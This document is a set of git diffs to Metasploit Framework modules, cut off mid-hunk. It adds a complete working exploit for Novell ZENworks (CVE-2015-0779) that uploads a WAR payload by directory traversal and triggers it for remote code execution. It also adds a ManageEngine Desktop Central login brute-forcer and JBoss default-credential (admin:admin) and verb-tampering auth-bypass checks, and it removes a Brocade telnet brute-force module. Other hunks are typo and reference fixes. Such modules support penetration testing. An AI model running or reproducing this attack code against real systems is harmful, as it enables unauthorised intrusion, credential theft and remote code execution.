|
|
|
@ -404,7 +404,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'SSL Labs API Client',
|
||||
'Description' => %q{
|
||||
This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessmen during a penetration testing.
|
||||
This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessment during a penetration testing.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -7,7 +7,6 @@ require 'rex/proto/http'
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -15,10 +14,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'JBoss Vulnerability Scanner',
|
||||
'Description' => %q{
|
||||
'Description' => %q(
|
||||
This module scans a JBoss instance for a few vulnerablities.
|
||||
},
|
||||
'Author' => [ 'Tyler Krpata' ],
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Tyler Krpata',
|
||||
'Zach Grace <@ztgrace>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0738' ] # VERB auth bypass
|
||||
|
@ -28,31 +31,29 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"]),
|
||||
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/"+Rex::Text.rand_text_alpha(12),
|
||||
'uri' => "/" + Rex::Text.rand_text_alpha(12),
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
|
||||
}, 20)
|
||||
'ctype' => 'text/plain'
|
||||
})
|
||||
|
||||
if res
|
||||
|
||||
info = http_fingerprint({ :response => res })
|
||||
info = http_fingerprint(:response => res)
|
||||
print_status(info)
|
||||
|
||||
if(res.body and />(JBoss[^<]+)/.match(res.body) )
|
||||
if res.body && />(JBoss[^<]+)/.match(res.body)
|
||||
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
|
||||
end
|
||||
|
||||
apps = [ '/jmx-console/HtmlAdaptor',
|
||||
apps = [
|
||||
'/jmx-console/HtmlAdaptor',
|
||||
'/status',
|
||||
'/web-console/ServerInfo.jsp',
|
||||
# apps added per Patrick Hof
|
||||
|
@ -65,6 +66,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
check_app(app)
|
||||
end
|
||||
|
||||
jboss_as_default_creds
|
||||
|
||||
ports = {
|
||||
# 1098i, 1099, and 4444 needed to use twiddle
|
||||
1098 => 'Naming Service',
|
||||
|
@ -72,22 +75,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
4444 => 'RMI invoker'
|
||||
}
|
||||
print_status("#{rhost}:#{rport} Checking services...")
|
||||
ports.each do |port,service|
|
||||
status = test_connection(ip,port) == :up ? "open" : "closed";
|
||||
ports.each do |port, service|
|
||||
status = test_connection(ip, port) == :up ? "open" : "closed"
|
||||
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_app(app)
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => app,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
}, 20)
|
||||
'ctype' => 'text/plain'
|
||||
})
|
||||
|
||||
if (res)
|
||||
if res
|
||||
case
|
||||
when res.code == 200
|
||||
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
|
||||
|
@ -96,6 +98,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
when res.code == 401
|
||||
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
|
||||
bypass_auth(app)
|
||||
basic_auth_default_creds(app)
|
||||
when res.code == 404
|
||||
print_status("#{rhost}:#{rport} #{app} not found (404)")
|
||||
when res.code == 301, res.code == 302
|
||||
|
@ -108,48 +111,125 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def bypass_auth(app)
|
||||
def jboss_as_default_creds
|
||||
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")
|
||||
|
||||
session = jboss_as_session_setup(rhost, rport)
|
||||
return false if session.nil?
|
||||
|
||||
# Default AS creds
|
||||
username = 'admin'
|
||||
password = 'admin'
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => '/admin-console/login.seam',
|
||||
'method' => 'POST',
|
||||
'version' => '1.1',
|
||||
'vhost' => "#{rhost}",
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
|
||||
},
|
||||
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
|
||||
})
|
||||
|
||||
# Valid creds if 302 redirected to summary.seam and not error.seam
|
||||
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
|
||||
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
|
||||
add_creds(username, password)
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
end
|
||||
end
|
||||
|
||||
def add_creds(username, password)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'jboss',
|
||||
protocol: 'tcp',
|
||||
workspace_id: framework.db.workspace.id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
end
|
||||
|
||||
def jboss_as_session_setup(rhost, rport)
|
||||
res = send_request_raw({
|
||||
'uri' => '/admin-console/login.seam',
|
||||
'method' => 'GET',
|
||||
'version' => '1.1',
|
||||
'vhost' => "#{rhost}"
|
||||
})
|
||||
|
||||
unless res
|
||||
return nil
|
||||
end
|
||||
|
||||
begin
|
||||
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
|
||||
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
|
||||
rescue ::NoMethodError
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
return nil
|
||||
end
|
||||
|
||||
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
|
||||
end
|
||||
|
||||
def bypass_auth(app)
|
||||
print_status("#{rhost}:#{rport} Check for verb tampering (HEAD)")
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => app,
|
||||
'method' => datastore['VERB'],
|
||||
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
|
||||
}, 20)
|
||||
if (res and res.code == 200)
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
|
||||
end
|
||||
end
|
||||
|
||||
def basic_auth_default_creds(app)
|
||||
res = send_request_cgi({
|
||||
'uri' => app,
|
||||
'method' => 'GET',
|
||||
'ctype' => 'text/plain',
|
||||
'authorization' => basic_auth('admin','admin')
|
||||
}, 20)
|
||||
if (res and res.code == 200)
|
||||
print_good("#{rhost}:#{rport} Authenticated using admin:admin")
|
||||
'authorization' => basic_auth('admin', 'admin')
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
|
||||
add_creds("admin", "admin")
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Could not guess admin credentials")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# function stole'd from mssql_ping
|
||||
def test_connection(ip,port)
|
||||
def test_connection(ip, port)
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => port,
|
||||
'Timeout' => 20
|
||||
)
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
return :down
|
||||
end
|
||||
sock.close
|
||||
return :up
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,133 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine Desktop Central Login Utility',
|
||||
'Description' => %q{
|
||||
This module will attempt to authenticate to a ManageEngine Desktop Central.
|
||||
},
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => { 'RPORT' => 8020}
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
# Initializes CredentialCollection and ManageEngineDesktopCentral
|
||||
def init(ip)
|
||||
@cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
@scanner = Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral.new(
|
||||
configure_http_login_scanner(
|
||||
host: ip,
|
||||
port: datastore['RPORT'],
|
||||
cred_details: @cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 5
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
# Reports a good login credential
|
||||
def do_report(ip, port, result)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: port,
|
||||
service_name: 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
last_attempted_at: DateTime.now,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login
|
||||
def bruteforce(ip)
|
||||
@scanner.scan! do |result|
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
|
||||
do_report(ip, rport, result)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
|
||||
invalidate_login(
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: result.credential.realm_key,
|
||||
realm_value: result.credential.realm,
|
||||
status: result.status,
|
||||
proof: result.proof
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Start here
|
||||
def run_host(ip)
|
||||
init(ip)
|
||||
unless @scanner.check_setup
|
||||
print_brute(:level => :error, :ip => ip, :msg => 'Target is not ManageEngine Desktop Central')
|
||||
return
|
||||
end
|
||||
|
||||
bruteforce(ip)
|
||||
end
|
||||
|
||||
end
|
|
@ -52,14 +52,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# Fingerprint a single host
|
||||
def run_host(ip)
|
||||
begin
|
||||
connect
|
||||
res = send_request_raw({ 'uri' => '/', 'method' => 'GET' })
|
||||
fp = http_fingerprint(:response => res)
|
||||
if fp
|
||||
vprint_status("#{peer} connected and fingerprinted: #{fp}")
|
||||
# TODO: Interrogate the connection itself to see what version
|
||||
# was used. Where that actually lives is eluding me. :/
|
||||
if datastore['SSLVersion'] == 'SSL3'
|
||||
if datastore['SSL'] && datastore['SSLVersion'] == 'SSL3'
|
||||
print_good("#{peer} accepts SSLv3")
|
||||
report_poodle_vuln(ip)
|
||||
end
|
||||
|
@ -67,9 +66,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::OpenSSL::SSL::SSLError => e
|
||||
ssl_version = e.message.match(/ state=([^\s]+)/)[1]
|
||||
vprint_status("#{peer} does not accept #{ssl_version}")
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,150 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/brocade_telnet'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Telnet
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Brocade Enable Login Check Scanner',
|
||||
'Description' => %q{
|
||||
This module will test a Brocade network device for a privilged
|
||||
(Enable) login on a range of machines and report successful
|
||||
logins. If you have loaded a database plugin and connected
|
||||
to a database this module will record successful
|
||||
logins and hosts so you can track your access.
|
||||
This is not a login/telnet authentication. Config should NOT
|
||||
have 'enable telnet authentication' in it. This will test the
|
||||
config that contains 'aaa authentication enable default local'
|
||||
Tested against:
|
||||
ICX6450-24 SWver 07.4.00bT311
|
||||
FastIron WS 624 SWver 07.2.02fT7e1
|
||||
},
|
||||
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0502'] # Weak password
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('GET_USERNAMES_FROM_CONFIG', [ false, 'Pull usernames from config and running config', true])
|
||||
], self.class
|
||||
)
|
||||
@no_pass_prompt = []
|
||||
end
|
||||
|
||||
def get_username_from_config(un_list,ip)
|
||||
["config","running-config"].each do |command|
|
||||
print_status(" Attempting username gathering from #{command} on #{ip}")
|
||||
sock.puts("\r\n") #ensure the buffer is clear
|
||||
config = sock.recv(1024)
|
||||
sock.puts("show #{command}\r\n")
|
||||
while true do
|
||||
sock.puts(" \r\n") #paging
|
||||
config << sock.recv(1024)
|
||||
#there seems to be some buffering issues. so we want to match that we're back at a prompt, as well as received the 'end' of the config.
|
||||
break if config.match(/>$/) and config.match(/end/)
|
||||
end #pull the entire config
|
||||
config.each_line do |un|
|
||||
if un.match(/^username/)
|
||||
found_username = un.split(" ")[1].strip
|
||||
un_list.push(found_username)
|
||||
print_status(" Found: #{found_username}@#{ip}")
|
||||
end #username match
|
||||
end #each line in config
|
||||
end #end config/running-config loop
|
||||
end
|
||||
|
||||
attr_accessor :no_pass_prompt
|
||||
attr_accessor :password_only
|
||||
|
||||
def run_host(ip)
|
||||
un_list = []
|
||||
if datastore['GET_USERNAMES_FROM_CONFIG']
|
||||
connect()
|
||||
get_username_from_config(un_list,ip)
|
||||
disconnect()
|
||||
end
|
||||
|
||||
if datastore['USERNAME'] #put the provided username on the array to try
|
||||
un_list.push(datastore['USERNAME'])
|
||||
end
|
||||
|
||||
un_list.delete('logout') #logout, even when used as a un or pass will exit the terminal
|
||||
|
||||
un_list.each do |un|
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: un,
|
||||
user_as_pass: datastore['USER_AS_PASS'],
|
||||
)
|
||||
|
||||
cred_collection = prepend_db_passwords(cred_collection)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Brocade_Telnet.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: datastore['Timeout'],
|
||||
max_send_size: datastore['TCP::max_send_size'],
|
||||
send_delay: datastore['TCP::send_delay'],
|
||||
banner_timeout: datastore['TelnetBannerTimeout'],
|
||||
telnet_timeout: datastore['TelnetTimeout'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
print_good("#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}")
|
||||
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_error("#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})")
|
||||
end
|
||||
end
|
||||
end #end un loop
|
||||
end
|
||||
|
||||
def start_telnet_session(host, port, user, pass, scanner)
|
||||
print_status("Attempting to start session #{host}:#{port} with #{user}:#{pass}")
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => user,
|
||||
'PASSWORD' => pass
|
||||
}
|
||||
|
||||
start_session(self, "TELNET #{user}:#{pass} (#{host}:#{port})", merge_me, true, scanner.sock)
|
||||
end
|
||||
end
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Telnet Service Encyption Key ID Overflow Detection',
|
||||
'Name' => 'Telnet Service Encryption Key ID Overflow Detection',
|
||||
'Description' => 'Detect telnet services vulnerable to the encrypt option Key ID overflow (BSD-derived telnetd)',
|
||||
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -10,17 +10,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::FF,
|
||||
:ua_minver => "31.0",
|
||||
:ua_maxver => "34.0",
|
||||
:javascript => true,
|
||||
:rank => ManualRanking
|
||||
})
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
|
||||
|
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a file upload vulnerability in Novell ZENworks Configuration
|
||||
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
|
||||
the UploadServlet which accepts unauthenticated file uploads and does not check the
|
||||
"uid" parameter for directory traversal characters. This allows an attacker to write
|
||||
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
|
||||
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
|
||||
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
|
||||
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
|
||||
Metasploit exploit, but it abuses a different parameter of the same servlet.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-0779'],
|
||||
['OSVDB', '120382'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21']
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Privileged' => true,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Novell ZCM < v11.3.2 - Universal Java', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 7 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL',
|
||||
[true, 'Use SSL', true]),
|
||||
OptString.new('TARGETURI',
|
||||
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),
|
||||
OptString.new('TOMCAT_PATH',
|
||||
[false, 'The Tomcat webapps traversal path (from the temp directory)'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def upload_war_and_exec(tomcat_path)
|
||||
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
|
||||
|
||||
print_status("#{peer} - Uploading WAR file to #{tomcat_path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'),
|
||||
'method' => 'POST',
|
||||
'data' => war_payload,
|
||||
'ctype' => 'application/octet-stream',
|
||||
'vars_get' => {
|
||||
'uid' => tomcat_path,
|
||||
'filename' => "#{app_base}.war"
|
||||
}
|
||||
})
|
||||
if res && res.code == 200
|
||||
print_status("#{peer} - Upload appears to have been successful")
|
||||
else
|
||||
print_error("#{peer} - Failed to upload, try again with a different path?")
|
||||
return false
|
||||
end
|
||||
|
||||
10.times do
|
||||
Rex.sleep(2)
|
||||
|
||||
# Now make a request to trigger the newly deployed war
|
||||
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
# Failure. The request timed out or the server went away.
|
||||
break if res.nil?
|
||||
# Failure. Unexpected answer
|
||||
break if res.code != 200
|
||||
# Unless session... keep looping
|
||||
return true if session_created?
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
tomcat_paths = []
|
||||
if datastore['TOMCAT_PATH']
|
||||
tomcat_paths << datastore['TOMCAT_PATH']
|
||||
end
|
||||
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])
|
||||
|
||||
tomcat_paths.each do |tomcat_path|
|
||||
break if upload_war_and_exec(tomcat_path)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Symantec Endpoint Protection Manager Remote Command Execution',
|
||||
'Name' => 'Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits XXE and SQL injection flaws in Symantec Endpoint Protection Manager
|
||||
versions 11.0, 12.0 and 12.1. When supplying a specially crafted XML external entity (XXE) request an attacker
|
||||
|
@ -32,10 +32,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-5014' ],
|
||||
[ 'CVE', '2013-5015' ],
|
||||
[ 'EDB', '31853'],
|
||||
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt' ]
|
||||
['CVE', '2013-5014'],
|
||||
['CVE', '2013-5015'],
|
||||
['OSVDB', '103305'],
|
||||
['OSVDB', '103306'],
|
||||
['EDB', '31853'],
|
||||
['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140218-0_Symantec_Endpoint_Protection_Multiple_critical_vulnerabilities_wo_poc_v10.txt']
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -15,15 +15,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Symantec Workspace Streaming Arbitrary File Upload',
|
||||
'Name' => 'Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution flaw in Symantec Workspace Streaming. The
|
||||
vulnerability exists in the ManagementAgentServer.putFile XMLRPC call exposed by the
|
||||
as_agent.exe service, which allows for uploading arbitrary files under the server root.
|
||||
This module abuses the auto deploy feature in the JBoss as_ste.exe instance in order
|
||||
to achieve remote code execution. This module has been tested successfully on Symantec
|
||||
Workspace Streaming 6.1 SP8 and Windows 2003 SP2. Abused services listen on a single
|
||||
machine deployment, and also in the backend role in a multiple machine deployment.
|
||||
Workspace Streaming 6.1 SP8 and Windows 2003 SP2, and reported to affect 7.5.0.x.
|
||||
Abused services listen on a single-machine deployment and also in the backend role in
|
||||
a multiple-machine deployment.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -34,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
['CVE', '2014-1649'],
|
||||
['OSVDB', '106923'],
|
||||
['BID', '67189'],
|
||||
['ZDI', '14-127'],
|
||||
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20140512_00']
|
||||
|
@ -51,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(9855), # as_agent.exe (afuse XMLRPC to upload arbitrary file)
|
||||
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse jboss auto deploy)
|
||||
OptPort.new('STE_PORT', [true, "The remote as_ste.exe AS server port", 9832]), # as_ste.exe (abuse JBoss auto deploy)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -227,11 +229,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Leaking the jboss deployment directory...")
|
||||
print_status("#{peer} - Leaking the JBoss deployment directory...")
|
||||
jboss_path =jboss_deploy_path
|
||||
|
||||
if jboss_path.nil?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the jboss deployment directory")
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to disclose the JBoss deployment directory")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Building WAR payload...")
|
||||
|
|
|
@ -13,12 +13,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Energizer DUO Trojan Code Execution',
|
||||
